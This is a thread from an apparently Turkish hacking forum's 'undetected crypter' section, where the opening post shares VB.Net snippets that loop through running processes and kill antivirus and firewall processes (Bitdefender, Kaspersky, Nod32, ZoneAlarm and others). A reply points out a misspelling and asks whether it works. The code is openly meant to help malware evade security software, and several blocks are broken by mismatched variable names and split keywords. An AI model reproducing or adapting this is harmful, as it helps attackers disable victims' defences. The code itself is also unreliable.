İPUCU

Undetected Crypter, HEX kodlama ile ilgili konular

Seçenekler

VB.Net Anti Anubis, Outpost, Norman, Bitdefender, Kaspersky, Nod32, ZoneAlarm

19-05-2017 15:56
#1
Redmama - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
06/2016
Mesajlar:
1.626
Teşekkür (Etti):
5
Teşekkür (Aldı):
1234
Konular:
152
Kod:
---------------------------------------------------------------------
'Anti Anubis
Dim Anubis As Process() = Process.GetProcesses
Dim a As Integer
For a = 0 To Anubis.Length - 1
Debug.WriteLine(Anubis(a).ProcessName)
If Strings.UCase(Anubis(a).ProcessName) = Strings.UCase("Anubis") Then
Anubis(a).Kill()
End If
Next

----------------------------------------------------------------------
'Anti Outpost
Dim outpost As Process() = Process.GetProcesses
Dim o As Integer
For o = 0 To outpost.Length - 1
Debug.WriteLine(outpost(o).ProcessName)
If Strings.UCase(outpost(o).ProcessName) =Strings.UCase("outpost")Then
outpost(o).Kill()
End If
Next

----------------------------------------------------------------------
'Anti Norman
Dim norman As Process() = Process.GetProcesses
Dim n As Integer
For n = 0 To norman.Length - 1
Debug.WriteLine(norman(n).ProcessName)
If Strings.UCase(outpost(n).ProcessName)=Strings.UCas e("npfmsg") Then
norman(n).Kill()
End If
Next
----------------------------------------------------------------------

'Anti Bitdefender
Dim bit As Process() = Process.GetProcesses
Dim b As Integer
For b = 0 To bit.Length - 1
Debug.WriteLine(bit(b).ProcessName)
If Strings.UCase(bit(b).ProcessName) =Strings.UCase("bdagent") Then
bit(b).Kill()
End If
Next
-----------------------------------------------------------------------
'Anti Kaspersky
Dim persky As Process() = Process.GetProcesses
Dim p As Integer
For p = 0 To persky.Length - 1
Debug.WriteLine(perky(p).ProcessName)
If Strings.UCase(perky(p).ProcessName) =Strings.UCase("kavsvc") Then
perky(p).Kill()
End If
Next
-----------------------------------------------------------------------
'Anti Nod32
Dim nod As Process() = Process.GetProcesses
Dim n As Integer
For o = 0 To nod.Length - 1
Debug.WriteLine(nod(n).ProcessName)
If Strings.UCase(nod(n).ProcessName)=Strings.UCase("e gui") Then
nod(n).Kill()
End If
Next
-----------------------------------------------------------------------
'Anti Zonealarm
Dim zone As Process() = Process.GetProcesses
Dim z As Integer
For o = 0 To zone.Length - 1
Debug.WriteLine(zone(z).ProcessName)
If Strings.UCase(zone(z).ProcessName)=Strings.UCase(" zlclient") Then
zone(z).Kill()
End If
Next
-------------------------------------------------

19-05-2017 23:43
#2
yasevyada - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
09/2011
Mesajlar:
643
Teşekkür (Etti):
50
Teşekkür (Aldı):
162
Konular:
131
Kaspersky yanlış yazılmış onun dışında iyi ama kapatıyor mu ?

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı